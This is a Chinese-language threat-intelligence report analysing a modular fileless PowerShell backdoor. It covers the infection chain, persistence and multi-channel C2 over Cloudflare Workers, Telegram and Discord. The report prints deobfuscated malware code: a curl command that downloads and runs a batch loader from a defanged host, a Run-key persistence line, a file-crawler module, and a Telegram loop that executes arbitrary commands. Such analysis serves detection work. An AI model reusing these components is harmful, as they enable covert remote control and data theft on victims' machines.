摘要
本報告提供對一個複雜的模組化 PowerShell 後門框架(此處稱為「模組化後門框架」,Modular Backdoor Framework,MBF)的全面技術分析。MBF 透過其無檔案執行、多通道命令與控制(C2)基礎架構 以及利用合法雲端服務的規避機制,體現了進階持續性威脅技術。該框架採用載入器鏈(Loader chain)進行動態模組擷取、透過原生 Windows 登錄修改實現持續性,以及使用混淆的 PowerShell 腳本進行記憶體內操作。關鍵元件包括偵察模組、資料外洩工具以及使用 HTTPS、Telegram 和 Discord 的韌性命令 C2 通道。此分析剖析了其架構、感染途徑和 code artifacts,並與類似的基於 PowerShell 的載入器進行比較以增強威脅情資。重點在於逆向工程的見解,以提供偵測和緩解策略的資訊。
簡介
模組化後門框架(MBF)代表了無檔案惡意軟體設計的頂峰,在入侵後操作中優先考慮隱蔽性和適應性。其核心是利用 PowerShell 作為主要執行環境,利用其與 Windows 的原生整合來最小化鑑識足跡。該框架的模組化允許操作員隨時擷取和執行特製的 payload,減少了初始 payload 大小並能快速演進來繞過防禦。
初始感染通常源自偽裝成合法檔案的社交工程誘餌,無縫過渡到協定濫用和分階段下載。一旦建立,MBF 透過無害的登錄項目和排程任務建立持續性,同時透過託管在合法平台(如 Cloudflare Workers 和訊息傳遞 API)上的加密通道維持 C2。本報告深入探討其技術基礎,包括執行流程、混淆策略和模組互動,以闡明 MBF 如何在沒有基於磁碟的 artifacts 的情況下實現長期存取。
分析顯示其高度依賴 Living-Off-the-Land Binaries(LOLBins),例如
curl.exe
、
rundll32.exe
和
conhost.exe
,這些將惡意活動與良性的系統程序混合在一起。透過檢查去混淆的程式碼片段和重建執行圖,本研究突出了 PowerShell 反射式載入功能的漏洞,並強調了在端點偵測中進行行為監控的必要性。
感染途徑分析
MBF 的感染鏈透過多層欺騙設計以實現高成功率。它從託管在檔案共享服務(如 OneDrive)上的誘餌開始,受害者被提示存取一個看似無害的檔案。互動後,程序會重新導向到一個利用 Windows
search-ms
URI 協定處理程式的精心設計的網頁。這種濫用觸發了瀏覽器中的使用者同意提示,授予攻擊者的 WebDAV 伺服器透過 Explorer 存取本機檔案系統的權限。
一旦授予存取權限,一個 DLL 呼叫便為 WebDAV 工作階段設定 cookie:
# Deobfuscated snippet from initial access stage rundll32.exe C:\WINDOWS\system32\davclnt.dll, DavSetCookie datadrift.somee.com@SSL hxxps://datadrift.somee.com/aoh5/[REDACTED].lnk # This sets authentication cookies for WebDAV, enabling seamless file sharing without additional prompts. # The .lnk file is disguised as a PDF, but executes a shell command upon 'opening'.
該 .lnk 檔案進而呼叫指令 shell,使用
curl
從 Cloudflare Worker 端點取得批次腳本,並停用 SSL 撤銷以防止憑證綁定:
# Batch script download and execution cmd /c curl --ssl-no-revoke -o vgh.txt hxxps://line.completely.workers.dev/aoh5 & rename vgh.txt temp.bat & %tmp%\temp.bat # --ssl-no-revoke bypasses certificate validation, common in LOLBin abuse. # Temporary file is renamed and executed immediately in %TMP% to avoid persistence at this stage. # This downloads an obfuscated PowerShell loader, initiating the in-memory chain.
為了視覺化感染流程,下圖說明了分階段的進展:
Redirect] B --> C[search-ms URI Protocol
Trigger] C --> D[Browser Consent for
WebDAV] D --> E[WebDAV .lnk File
Retrieval] E --> F[Batch Script Download
via curl] F --> G[PowerShell Loader
Execution] G --> H[Module Staging
from C2] style A fill:#f9f,stroke:#333 style H fill:#bbf,stroke:#333
此鏈利用了使用者信任和原生協定處理程式,以最少的 artifacts 實現初始立足點。與 MintsLoader 等類似載入器進行比較分析發現,它們都依賴虛假的同意提示,但它們獨特地整合了 URI 濫用功能,用於 WebDAV 部署。 [2] 。
架構與模組化設計
MBF 的架構是一個無檔案的模組化 PowerShell 框架,包含一個核心載入器和用於偵察、資料收集和外洩的可外掛模組。該載入器作為記憶體鏈運作,從 C2 伺服器擷取加密模組,並透過
Invoke-Expression
(混淆為
(gcm i*x)
)執行它們。模組包括:
- 偵察模組 :使用 WMI 查詢收集系統資訊、執行中的程序和应用程式詳細資料。
-
資料擷取模組
:爬取符合副檔名(如
*.txt、*.pdf)的檔案,排除路徑如OneDrive或iCloudPhotos。 - 外洩模組 :透過多通道 C2 加密並傳輸資料。
檔案爬取模組體現了模組化,將路徑排入暫存緩衝區以進行選擇性下載:
- # File Crawler Module - Deobfuscated with annotations
- $include = @('*.txt','*.pdf','*.docx','*.xlsx','*.pptx') # Array of target file extensions for sensitive data
- $exclude = @('iCloudPhotos','OneDrive','Google Drive') # Paths to skip, avoiding cloud-synced or monitored directories
- $queueFile = Join-Path $env:LOCALAPPDATA 'Caches\ALL.txt' # Output queue for base64-encoded paths
- $metaFile = Join-Path $env:LOCALAPPDATA 'Caches\FileCrawler.txt' # Metadata log
- Get-PSDrive -PSProvider FileSystem | ForEach-Object { # Enumerate all accessible drives
- Get-ChildItem -Path $_.Root -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { # Recursive file listing, suppress errors
- $path = $_.FullName
- if ($exclude | Where-Object { $path -match $_ }) { return } # Skip excluded paths using regex match
- if ($include | Where-Object { $_.Name -like $_ }) { # Match against include extensions
- $pathB64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($path)) # Encode path for transmission
- $downloadBuffer += $pathB64 + ';;;' # Append to buffer with delimiter
- }
- }
- }
- $downloadBuffer | Out-File -FilePath $queueFile -Encoding utf8 # Write queue to temp file for later exfil
- # This module runs periodically, building a catalog without immediate network activity to evade NDR.
動態載入確保只有必要的模組存在,減少了記憶體特徵。混淆涉及在執行階段組裝的 base64 片段和陣列索引字串構造,例如
$tpf[6] + $zxr[0] + ...
來形成命令。這種設計與 GhostWeaver 中基於外掛的交付相似,並與 MintsLoader 等載入器整合,其中模組透過
sendPlugin
函數進行橫向移動
[2]
。
模組流程可以表示為:
to C2] B --> C[Encrypted Module
Download] C --> D[In-Memory
Decryption & Execution] D --> E[Recon
Module] D --> F[File Crawler
Module] D --> G[Exfil
Module] E --> H[System Info
Collection] F --> I[Path Queueing] G --> J[Data
Encryption & Transmit] style A fill:#ff9,stroke:#333
持續性與規避技術
MBF 透過細微的登錄修改和排程執行實現持續性,避免使用傳統的啟動資料夾。一個名為
Renovation
的執行機碼被添加到
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
,指向
%localappdata%\Microsoft\Internet Explorer\List\*\
中的批次檔案:
# Persistence Setup Snippet Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Renovation' -Value "cmd /c \"for %a in (\"%localappdata%\Microsoft\Internet Explorer\List\*\") do ( start \"\" \"%a\" )\"" # This iterates over random-named batch files in IE List dir, launching the loader at logon. # Blends with legitimate IE update processes; file names like 'v.bat' are randomized.
其他機制包括在
HKCU:\Console\%Startup%
中用於
conhost.exe
託管的主控台設定,以及用於向 Firebase 端點發送登入 beacon 的
UserInitMprLogonScript
。規避依賴於無檔案執行、帶有每個請求 IV 的 AES-256-CBC 加密以及 LOLBin 鏈接。反鑑識策略反映了 CountLoader 的 PowerShell 變種中的策略,其中 Base64 壓縮和順序性 C2 探測規避了靜態特徵
[3]
。
用於 C2 端點的執行時期 Token 替換進一步使分析複雜化,IV 從字母數字池(Alphanumeric pools)生成並嵌入在如
Sec-Host
的標頭中。
命令與控制機制
MBF 的 C2 是多通道的以實現 redundancy:透過 Cloudflare Workers 的 HTTPS、Telegram 機器人和 Discord webhooks。資料使用 hardcoded key(例如
g9944pf33sbuuuspi3z2er6rqh9ermxk
)和隨機 IV 進行 AES-256 加密。Telegram 通道在迴圈中 poll updates:
- # Telegram C2 Polling Loop - Annotated
- while ($true) { # Infinite loop for persistent listening
- $uri = 'hxxps://api.telegram.org/$Sguqs9XH8vzLVtp/getUpdates?offset=$($lastIncomingID+1)'; # Poll API with offset for new messages
- $response = &(gcm i*e-r*tme*?) -UserAgent $asjkl -Uri $uri; # Obfuscated Invoke-RestMethod
- foreach ($RSS in $response.result) { # Parse JSON response
- if ($RSS.message) {
- $telegraf = $RSS.message.text;
- if ($telegraf -ne $BookmarkCM) { # Skip duplicates
- if ($telegraf -like "\#journey*") { ... } # Key update command
- if ($telegraf -eq "\/invest") { ... } # Recon command
- if ($telegraf -eq "\/anchor") { ... } # Payload fetch
- if ($telegraf -ne "\/invest" -and $telegraf -ne "\/anchor" -and $telegraf -notlike "\#journey*") {
- if ($telegraf -ne "\/exit") {
- $result = &(gcm i*?-e*n) $telegraf | Out-String; # Execute arbitrary PowerShell
- $result | Out-File -FilePath "$env:TEMP\UZ4sWF2aV.txt" -Encoding UTF8; # Temp output
- Start-Sleep -Seconds (Get-Random -Minimum 4 -Maximum 9); # Jitter to evade timing heuristics
- }
- }
- }
- }
- }
- }
- # Commands trigger module downloads from Workers; non-command text is executed directly.
- # Output exfiltrated via encrypted POST; supports arbitrary execution for flexibility.
Discord 使用 bot Token 來取出命令,並按作者和附件進行篩選。這種設定確保了韌性,類似於 MintsLoader 中用於每日 C2 輪換的 DGA 生成網域 [2] 。
程式碼分析與比較
更深入的程式碼檢查揭示了在 AES 加密函數中的複雜混淆,該函數在模組中通用:
- # AES Encryption Function - With detailed annotations
- function AESEncryption {
- param($plainText, $keyText, $ivText) # Inputs: data, 256-bit key, 16-byte IV
- $aes = [Security.Cryptography.Aes]::Create() # Instantiate AES provider
- $aes.BlockSize = 128
- $aes.KeySize = 256
- $aes.Key = [Text.Encoding]::UTF8.GetBytes($keyText) # Convert key to byte array
- $aes.IV = [Text.Encoding]::UTF8.GetBytes($ivText) # Set IV for CBC mode
- $enc = $aes.CreateEncryptor($aes.Key, $aes.IV) # Create encryptor
- $ms = New-Object IO.MemoryStream # In-memory stream for output
- $cs = New-Object Security.Cryptography.CryptoStream $ms, $enc, [Security.Cryptography.CryptoStreamMode]::Write # Crypto stream wrapper
- $sw = New-Object IO.StreamWriter $cs # Stream writer for text input
- $sw.Write($plainText) # Encrypt plaintext
- $sw.Flush() # Ensure all data processed
- $sw.Close() # Cleanup
- $base64 = [Convert]::ToBase64String($ms.ToArray()) # Base64 encode for transmission
- $aes.Dispose() # Resource cleanup
- return $base64
- }
- # Employed for all C2 payloads; IV randomized per session to prevent replay attacks.
- # Key hardcoded but updatable via Telegram #journey commands.
與 CountLoader 的比較突顥共享的下載器模式,例如使用 WebClient 進行故障轉移 C2 探測,但 MBF 透過訊息傳遞 API 整合進行互動式控制擴展了這一點 [3] 。另一個模組化竊取程式 Katz Stealer 採用類似的 PowerShell 觸發器來擷取瀏覽器資料,強調了混合 JavaScript-PowerShell 鏈的趨勢 [4] 。